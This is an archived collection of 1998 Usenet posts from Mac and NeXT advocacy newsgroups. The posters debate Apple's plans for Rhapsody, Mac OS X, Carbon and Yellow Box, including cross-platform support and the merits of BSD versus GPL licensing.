on new 'propositions']. I'm not expressing a political view for or
against such laws, however I submit that a company that doesn't view its
customers as stakeholders is bound to become irrelevant.
Obviously though, the Internet has changed the equation drastically, as
far as relations between business and the marketplace.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 17:05:08 GMT
Organization: Michigan State University
Message-ID: <6jcjs4$6ns$1@msunews.cl.msu.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
<markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us>
<mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk>
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Cc: sanguish@digifix.com
In <6jbrd7$1cc$13@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> In <mcasse-2708561357200001@line8047.ras.ilstu.edu> Matt Casselman
wrote:
>
> > Carbon is the MacOS APIs. MacOS X will be MacOS on top of Mach.
Blue Box
> > is just another application on Rhapsody like SoftWindows is an app
on
> > MacOS.
> >
> Umm, no.
>
> MacOS X = Rhapsody + Carbon
> where
> Rhapsody = YellowBox + BlueBox with BSD underpinnings on Mach kernel
> and
> Carbon = MacOS APIs
>
> Best wishes,
>
Malcolm,
This is not a criticism but some musing thoughts..
1) I have written the same equation
MacOS X = Rhapsody + Carbon
But reading along today I wondered about something. Wasn't BlueBox
in Rhapsody supposed to be fully MacOS (at least 8.x don't know about
7)
compatible. I mean in the past I kept hearing that all those Mac apps
would run w/o any modification on Rhapsody.. And there was a big
deal made that essentially there would be a Mac.app application that
one would start up to run those apps within that if the application you
started within it would crash that the most it could take with it was
the
Mac.app.
So now I wonder why Apple whips up Carbon. Clearly it is to reach
out to the slew of MacOS developers and to try to get them to clean
up their code. But was there something wrong with the above bluebox
solution. I'm sure they couldn't run everything for various reasons
and maybe Carbon IS the complete bluebox solution - meaning if
your compatible with Carbon you will most certianly run on everything
MacOS 7, 8, Rhapsody, MacOS X and take advantage of 'native'
calls.
I just think it is interesting the kind of spin they've put on this
by calling it MacOS X rather than Rhapsody 2.0 and simply
delinating the differences. Though it may be to keep the MacOS
folks from rising up in arms ;)
It seems to me what Apple should be saying is that MacOS
is very important to them, but to implement Bluebox effectively and
guarantee cross OS support (MacOS 7, 8, Rhap) we have to strip
down the MacOS calls to a subset. This would mean a slight pull
back from the Bluebox that will run just about everything w/o
recompiles
(maybe it was slow?? I'm stretching here). I may speculate that
since
one got a native API on top of the BSD/Mach layers in conjunction
with Yellow Box that Apple or someone else would come up with
a nifty way to convert Carbon Apps to Yellow Box. This would
give the MacOS developers a much less painful path to YB if
Apple really wants them there - and would be something to
rejoice over if it becomes a reality!!
Also everyone is speculating about everything. Why is
everyone whinning? I would have thought if your a MacOS developer
you'd be happier than before. If your coding for Yellow Box you
can whine about the licensing fees being $20 but blame Adobe
and others. Apple will try to address this issue in MacOS X (Rhap2.0).
We may be kissing the beloved DPS goodbye - or face a seperate
package with a little higher price tag - for the DTP folks that really
want DPS!! This will still have to pan out.
Frankly I can't see that Carbon is slated to go to intel, maybe but I
highly doubt it. Why toss away all the work on YB on intel?? YB is
far superior to what Carbon could ever be!
Think of Carbon is kind of a bootstrap to get MacOS developers back
in the game and it will ONLY be for PPC. No-one else will want
and or need it (nor should they) since they'll have YellowBox
to code for which should get them everything they want.
AFAIK my take so far is that Rhapsody is still on track - although
being pushed back a bit to tack on Java functionality. Bluebox has
been defined ala Rhapsody via Carbon. Indications are that Apple
wants to unshakle itself from the license fees from Adobe & others
(I wish I knew who the others were) which means those technologies
will be moved out of the core of Rhapsody
There is a lot of new functionality coming out which mostly has
to do with the Java hooks into YB, etc. And Undo/Redo, new classes
etc.
Check out Scott Anguish's Tuesday report
http://www.stepwise.com/SpecialCoverage/WWDC98/Tuesday.html
Again a hearty thanks to Scott for all his work I see he stayed up to
like
4:30am working on those pages. Scott let me know where to send the
meth-amphetamine OK :) BTW: I have a bottle of homemade BlackBerry
wine with your name on it if your interested. Drop me some e-mail
where
to Fed-X it to (if you want it quick) :)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 13 May 1998 09:53:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F1E17-221E3@206.165.43.172>
References: <35598540.E4C37882@milestonerdl.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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M Rassbach <mark@milestonerdl.com> said:
>
>You seem to be forgetting that the PLAN was (at one time) to take Unix and
>graft
>the Macintosh experience on top. That was fought. And fought, and
fought.
>
>Till you have the carbon plan.
>
>
????
Unless they've done something radically different than what I understand,
MacOS X is just Rhapsody + Carbon.
That's still UNIX.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
Date: 13 May 1998 10:02:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F2028-29E22@206.165.43.172>
References: <6jbr7v$1cc$12@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B17EAC79-91F44@206.165.43.165> "Lawson English" wrote:
>
>> Why are you so happy at the thought of using DPS? Unless your app needs
>the
>> ability to script DPS (ala the latest version of FreeHand), what does
DPS
>> offer you that GX or a GX-like entity wouldn't (ie., the various classes
in
>> YB)?
>>
>> I'm often baffled by the obsession with DPS that NeXT developers have.
It
>> doesn't make sense for most purposes.
>>
>You're baffled by *our* obsession?!
>
>We're not obsessed. How many times do we have to repeat this?
>It's there, it works, why break it?
>
>It's you who is the obsessive.
Because it raises the price of Yellow Box from $0 to $20 PER UNIT on the
Wintel side?
Because it is very klunky in many ways and prevents Apple from modernizing
their architecture?
Where's SMP support for Rhapsody?
Has that been announced yet?
Is every aspect of the UI thread-safe yet?
Why not?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 09:47:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F1CA8-1CB93@206.165.43.172>
References: <6jbtan$1cc$17@ironhorse.plsys.co.uk>
To: "mmalcolm crawford" <malcolm@plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>But in a more long-winded and resource-draining way than might have been
>the
>case had Mac users and developers rallied round YellowBox and the original
>Rhapsody plan in the furst place.
How could they?
Developers never had a chance to use it for shipping products.
Users never had a chance to use it at all.
Blame the LARGE developers (those who are already cross-platform) for the
failure of Rhapsody and don't blame the users at all. They never even had a
chance to see it, letalone try it out.
Please go to AIMED-talk and ask the various smaller developers (aside from
those of us who are GX/OD fanatics) if they would prefer to use YB or
Carbon for their next project? (and even for GX/OD fanatics, Carbon offers
nothing useful, as far as I can tell).
Unless they plan on supporting 68K owners, YB was far and away the winner
for the non-"Big 100" developers.
But the Big 100 developers already are cross-platform and really don't want
to see YB suceed, since they're well aware of its advantages (except in
graphics and user-component architectures, of course) and would rather not
compete with the nimbler smaller developers. Another reason why OD failed,
also.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Thu, 14 May 1998 13:42:48 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
owners?)
References: <3559327d.0@news.camtech.net.au>
<B17EAC79-91F44@206.165.43.165>
Organization: Cybermarket Australia
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Message-ID: <355a6e0f.0@news.camtech.net.au>
In article <B17EAC79-91F44@206.165.43.165> , "Lawson English"
<english@primenet.com> wrote:
>timothyp@tne.net.au said:
>
>>
>>If on the other hand carbon is really only an extension of the blue-box
>and
>>Apple will still be pushing new developers to code in YB and use DPS I
>will
>>be
>>very Happy.
>
>
>
>Why are you so happy at the thought of using DPS? Unless your app needs the
>ability to script DPS (ala the latest version of FreeHand), what does DPS
>offer you that GX or a GX-like entity wouldn't (ie., the various classes in
>YB)?
>
>I'm often baffled by the obsession with DPS that NeXT developers have. It
>doesn't make sense for most purposes.
Sorry about the last posts formatting. OE bites me again.
Again Lawson I state I couldn't give a
flying squirrel as to GX or DPS. But Apple has abandoned GX and now look to be
doing the same with DPS to go (as a former Australian Prime minister said)
"back like Dogs to their vomit" to QD. If they do that they are simply not
serious about pushing the graphics architecture of the Mac into the next
millenium.
Isn't legacy code great!
Tim Priest
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 11:34:23 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559CB8F.85AF2358@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com> <6jchjj$4bo$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <3559AAE5.820270F0@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Nathan Urban wrote:
>
> > > In article <35597B98.E031BF17@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > > > And if the cross-platform aspect is gone, I think of YellowBox is dead.
>
> > > Yeah, you keep running around here saying that, but Apple has never said
> > > that the cross-platform aspect is gone.
>
> > And so far, no one can show a public statement committing to NT5/98.
>
> What makes you think that Yellow Box won't work on them?
Microsoft can't asure that old apps work on the new system. How would Apple do such?
> > If the cross-platform is MacOS/NT4-95/Intel Rhapsody given:
> > MacOS X is the future (and not Intel) NOT Rhapsody
> > NT4/95 will be replaced by Microsoft
>
> > That's not alot of future for cross-platform, is it?
>
> You're being ridiculous. Apple isn't dropping their Intel OS, and they
> haven't said anything at all of the sort.
Nor have I seen anything that says Rhapsody for Intel has a future beyond the merging
of MacOS X. Have they stated in a press release that Rhapsody for Intel will keep
going beyond Rhapsody for Mac - the product to be merged with MacOS X.
>
>
> > (and the old OpenSTEP cross-platform are MIA)
>
> > > In fact, the only thing I've
> > > heard about the cross-platform aspect is "we fully intend to support
> > > Rhapsody on Intel".
>
> > And they are... NT4/95.
>
> Clue: "Rhapsody on Intel" is not "Yellow Box on Windows".
And Clue: What is the path for Rhapsody for Intel?
> Furthermore, I don't recall it being called "Yellow Box on Windows NT
> and 95", I recall it being "Yellow Box on Windows" which _currently runs_
> on NT and 95 (since that's all that's out), and that they have announced
> their committment to "Yellow Box on Windows", and that given how _little_
> Yellow Box on Windows uses of the underlying OS (they've got their own
> display model, ported portions of Mach to rely on instead of native OS
> services, etc.) I see no reason at all why it wouldn't work on NT 5 or 98.
> Sure, it will probably require some testing/tweaking, but if they're
> going to continue to ship Yellow for Windows (which they stated they
> have), they have no reason not to spend a little time testing/tweaking
> to keep current.
If it will be THAT simple, then why not come out and say they will support NT
5.x/Win98. Use some weasel words to blame Microsoft if Microsoft doesn't play nice.
> > Now, why develop for YellowBox if all it's gonna do is
> > NT4/95 when Microsoft has NT5/98 in the pipe?
>
> Because that's not all it's gonna do, and you're just being plain stupid.
And you know this from what press release? What developers document?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
Date: Wed, 13 May 1998 11:35:51 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559CBE6.988758DE@milestonerdl.com>
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net> <slrn6ljdh9.p80.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> On Wed, 13 May 1998 05:36:04 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
> >I just wish (as ever) that Jobs would speak out about things more
> >specifically...
> You need to get yourself a RDF to English, English to RDF phrasebook.
What's the URL to one? Or the ISBN? :-)
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
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References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>
<EsvxtF.7G0@micmac.com>
Message-ID: <4Kk61.2106$sy4.4060601@news.rdc1.sdca.home.com>
Date: Wed, 13 May 1998 17:27:28 GMT
NNTP-Posting-Date: Wed, 13 May 1998 10:27:28 PDT
Organization: @Home Network
In <EsvxtF.7G0@micmac.com> Michel Coste wrote:
> This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
> (<zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>) by Rex Riley:
>
> > You obviously haven't been around the Steve long enough to appreciate the
> > comment. Let me phrase this as concise as possible. Developers just went
> > from a compile once - deploy elsewhere to a compile once - deploy once.
> >
>
> Where have you seen that MacOSX won't be deployed _somewhere_ else?
>
>
I know Steve doesn't like to build software that sells someone else's
hardware. Unless there is a two way opportunity for PPC hardware sales, the
argument for cross-compiling - weak.
> The fact that it is not written or said doesn't mean it won't happen...
>
>
I just wouldn't build any Business Plans on the strength of your
convictions...
-r
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 11:41:38 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559CD42.9033EE77@milestonerdl.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
<rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com>
<ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244>
<35583135.7CE2CEC9@milestonerdl.com> <6jcjun$1cc$24@ironhorse.plsys.co.uk>
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And the cross-platform aspect of YellowBox is clear how?
mmalcolm crawford wrote:
> In <35583135.7CE2CEC9@milestonerdl.com> M Rassbach wrote:
>
> > Yup. But, what is the status of that API - called YellowBox.
> >
> > The course wasn't clear...and still isn't.
> >
> Yes it damn well is clear. It's the preferred API for new and future MacOS
> development.
>
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 11:46:55 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559CE7F.7207302C@milestonerdl.com>
References: <35598540.E4C37882@milestonerdl.com> <B17F1E17-221E3@206.165.43.172>
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At the time it was posted, the statement quoted of (some) apple official that
MacOS X *IS* Unix, with MacOS on top wasn't out there.
Now that is.
The only thing to debate is:
Without sed/awk/grep/etc la, is it STILL Unix. There is a graphic via the
connectix dude (Brown?) that shows a 'purple' box.... BSD. And a statement
attributed to Apple that BSDUnix is NOT part of MacOSX.
Hence a query: Will the Unix hooks be there to add Unix (defined, say POSIX
complient) if Apple doesn't ship it that way?
This is a RDF we are all working in....and hopefully b4 the end of the WWDC
most of the questions will be answered.
Lawson English wrote:
> M Rassbach <mark@milestonerdl.com> said:
>
> >
> >You seem to be forgetting that the PLAN was (at one time) to take Unix and
> >graft
> >the Macintosh experience on top. That was fought. And fought, and
> fought.
> >
> >Till you have the carbon plan.
> >
> >
>
> ????
>
> Unless they've done something radically different than what I understand,
> MacOS X is just Rhapsody + Carbon.
>
> That's still UNIX.
>
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 12:04:05 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559D285.C7FC88FA@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> In <35597B98.E031BF17@milestonerdl.com> M Rassbach wrote:
>
> > Stepwise is a very pro-NeXTSTEP/OpenSTEP site.
> >
> So? Stepwise also has access to a number of clued up people inside Apple,
> and has established a record for getting facts right and not publishing
> unsubstantiated rumour.
>
> > And if the cross-platform aspect is gone, I think of YellowBox is dead.
> >
> Where has anyone said that the cross-platform aspect has gone?
>
> Apple has just announced pricing information for YB/Windows, there were
> sessions on YB/Windows development at WWDC, YellowBox is alive and well.
>
> If you dig your head out of the sand you'll be able to hear the messages
> easier.
To paraphrase someone else:
I know Steve doesn't like to build software that sells someone else's
hardware. Unless there is a two way opportunity for PPC hardware sales, the
argument for cross-compiling - weak.
Can you give a compelling argument to future YellowBox support on Intel? One
that has NT 5.x/win98 listed EXPLICITLY? One that shows a future beyond
Rhapsody for Intel 1.0?
So far, all you've trotted out is MacOS as a future. NT4 is a present issue
that will be used 'till 1999....more than enuf time to justify pricing and
sessions.
Now, I know you can't know (or, well tell) about a win98 announcement on
Friday, but when the RDF is turned off Friday, will you have _in hand_
anything about NT5.x and Rhapsody for Intel beyond 1.0/beyond MacOS X?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: This is more like it....information
Date: Wed, 13 May 1998 12:09:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559D3C6.EDED0057@milestonerdl.com>
References: <3559973E.12D2EC2C@milestonerdl.com> <1d8yp5c.szkb0i1r0pkk0N@p068.intchg1.net.ubc.ca>
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Except the macosrumors(?) bit that BSDUnix was not part of MacOS X.
So the below graphic shows whats possible? What will be there? Or, what
will ship?
Given 18 month timeframe.....calling whats gonna be there will be hard.
Bruce Bennett wrote:
> M Rassbach <mark@milestonerdl.com> wrote:
>
> > This http://www.macintouch.com/m10jorg.html is more like it.
> >
> > Still doesn't answer the cross-platform YellowBox, nor the Intel
> > Rhapsody questions, but one step at a time.
>
> I particularly like the implications of the block diagram:
>
> blue_box carbon yellow_box BSD
> | | | |
> | | | |
> ________________________________________
> shared system services
> ________________________________________
> core OS
>
> -- suggesting a more gradual step-by-step transition path from System 8
> apps to interim "carbonized" ones and finally to Yellow Box apps.
>
> (Or finally, if you're a Unix/X devotee, to BSD. :^)
>
> --
> Bruce Bennett
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 98 10:40:05 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B17F2918-23167@207.217.155.161>
References: <6jbs69$1cc$15@ironhorse.plsys.co.uk>
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nntp://news.earthlink.net/comp.sys.next.advocacy
mmalc wrote:
>b) Yes, you're absolutely right. Jobs (with his team) has found a way to
>pull the wool over people's eyes so Apple can serve up Rhapsody so that it
is
>palatable to the traditional Mac users and developers so they feel like
first
>class citizens again, rather than facing life in a "compatibility
>environment".
I think mmalc gets it...
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
Date: Wed, 13 May 1998 23:43:24 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <djboccip-1305982343250001@tnt2-74.hiwaay.net>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <1d8z55p.vwwxef1p1uvo1N@roxboro0-057.dyn.interpath.net> <djboccip-1305981552470001@qburst.msfc.nasa.gov> <1d8z9bx.1ihb4kl1dj4ljnN@roxboro0-035.dyn.interpath.net>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <1d8z9bx.1ihb4kl1dj4ljnN@roxboro0-035.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> In comp.sys.mac.programmer.misc Dennis J. Boccippio
> <djboccip@hiwaay.net> wrote:
>
> > phenix@interpath.com (John Moreno) wrote:
> >
> > >
> > > Tepid support for YB is easy to explain:
> > > OpenDoc
> > > QDGX
> > > PowerTalk
> > > Copland
> >
> > ...
> Part of the calculation as to whether it will take hold is how it is
> handled by Apple - and in all three cases how it was handled sucked. It
> wasn't a part of the basic, core, installation and so caused both user
> confusion and reduced the number of developers willing to use it.
>
Then I'd humbly submit that developers need to do a bit more customer
research (see below).
> > QuickTime
> > ColorSync
> > OpenTransport
> > .
> > .
> > .
> >
> > ... and still have contributed nothing to understanding why there's
> > been tepid developer support for YB.
>
> Unless I'm mistaken (it's been a while since I needed to install a
> system) all of these are currently part of the "easy install" option.
>
I disagree that the handling sucked. Doing a full install of PowerTalk
and GX was simply prohibitive on most 030 and 040 generation machines
selling at the time of their introduction; forget about older Macs.
There was simply no reason for it to be Standard Install for users
with no need for GX or PT - of which there were many, seeing as there
were few apps. Try and convince your average users that its a Good
Thing that their System memory just doubled because of these Great
New Technologies which few apps make use of. Maybe Apple wrote
bulky code, or maybe GX/PT were too far ahead of their time,
but you can't fault Apple for not saddling users with stuff they
weren't going to use right away. In the Micro$oft World that's called
BloatWare :-) I'm reminded of the dozen or so ODBC libraries some
damn Micro$oft app or another stuck in my Extensions Folder (along with
the thirty or so other libs). If this were 1993 and not 1998, and I were
fighting for every byte of my 14 MB RAM/120 MB disk on my old PB180,
this would be a Big Deal rather than a Minor Annoyance.
The resource usage for GX/PT was a serious issue at the time of
their introduction. I can't believe that "developers" didn't
consider this, either in forgiving Apple for not making it standard
install, or in assessing whether this was a viable technology to
develop for period (i.e. worth the resource overhead in the near future).
If they didn't, then my overall impression of "developers" just went
down a few pegs :-)
DJB
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 13 May 1998 18:19:01 GMT
Organization: I don't think so
Message-ID: <slrn6ljp7u.3p6.jason@jhste1.dyn.ml.org>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <slrn6lh8nu.ai.jason@jhste1.dyn.ml.org> <3558E184.6D5B5EC1@milestonerdl.com> <slrn6lhuds.om.jason@jhste1.dyn.ml.org> <6jck6s$co7$1@interport.net>
float@interport.net posted the following to comp.sys.mac.advocacy:
>: Berkeley isn't exactly open source;
>What bullshit. The Berkeley license is absolutely an open source license.
>Just because its properties aren't required to propagate to derivative
>code doesn't make Berkeley code any less open.
Berkeley license:
* Copyright (c) 1989 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by the University of California, Berkeley. The name of the
* University may not be used to endorse or promote products derived
* from this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
Doesn't require that the source be open. It only _permits_ it to be
redistributed as source.
><irony>
>GPL'd code isn't really open; if the FSF really believed in
>freedom, they'd give me the freedom to do what I want with my enhancements
>to their code.
></irony>
Two different animals. The GPL attempts to exploit Eric Raymond's
"bazaar" by encouraging codebases which effectively belong to the
community. The Berkeley license simply requires that credit be given
to the original authors (and prohibits the use of the UC name to promote
a product based on the code without permission).
Example: suppose that MS was not contractually forbidden from selling UNIX
OS products, and decided to get into the UNIX business. MS could take
the 4.4BSD-Lite/2 code, modify it slightly to introduce incompatibilities
with other flavors of BSD, and market it as Windows UX, while keeping
the changes to itself to avoid competition. Who loses? (Hey - this may
be what Apple was going to do).
This is legally forbidden with Linux and other GPL'd code.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Thu, 14 May 98 00:11:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EF100B.09B6007328.uuout@relaynet.org>
On 05/13/98, NATHAN URBAN wrote to Sheppard Gordon:
> If Rhapsody is indeed considered to be a stepping-stone to MacOS X, and if
> Rhapsody/PPC will be phased out in favor of it,
NU> It does not look like Rhapsody is being phased out in
NU> favor of MacOS X, from what I've read.
I read MacWeek, the New York Times or the Wall Street Journal, where this was
what was stated.
Where, if anywhere, did you read that Rhapsody/PowerPC would exist as a
separate product, side-by-side with MacOS X?
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 98 13:21:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EF0321.09B600727F.uuout@relaynet.org>
On 05/13/98, NATHAN URBAN wrote to mark@milestonerdl.com:
> And if the cross-platform aspect is gone, I think of
> YellowBox is dead.
NU> Yeah, you keep running around here saying that, but
NU> Apple has never said that the cross-platform aspect is
NU> gone. In fact, the only thing I've heard about the
NU> cross-platform aspect is "we fully intend to support
NU> Rhapsody on Intel". Now, you can construe that however
NU> you want given MacOS X, but don't see anything that
NU> says that Apple will have no Intel offerings.
"Fully intend to support" doesn't necessarily mean much, and Apple needs to
explain what this means, which they are choosing not to do now.
If Rhapsody is indeed considered to be a stepping-stone to MacOS X, and if
Rhapsody/PPC will be phased out in favor of it, then it appears that Rhapsody/
Intel (deliberately without Carbon) may only be on "maintenance" life-support,
with little further development.
Apple very well may "support" Rhapsody/Intel, but perhaps not even to the
extent to which NeXT supported OpenstepOS before the buyout. A low level of
support is better than "no Intel offerings," but it does not appear at
present that Apple is very interested in spending programming, management or
monetary resources on Rhapsody/Intel.
If so, the cross-platform future for Openstep/YellowBox seems to reside in
the API which sits atop WindowsNT -- if Apple ever voices support for NT5,
that is.
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 18:17:33 GMT
Organization: Michigan State University
Message-ID: <6jco3t$6ns$3@msunews.cl.msu.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
<EsvyFs.7qK@micmac.com>
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In <EsvyFs.7qK@micmac.com> Michel Coste wrote:
> This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> (<see-below-1205981743380001@209.24.240.213>) by Matthew Vaughan:
>
> > Oh? Where did Apple suggest Carbon would run on Intel?
>
>
> And I suggest that you read these comments by Mike Paquette:
>
> <<Who says they[Carbon APIs]'re not portable??? :-)
> Erf, erf, erf...>>
>
>
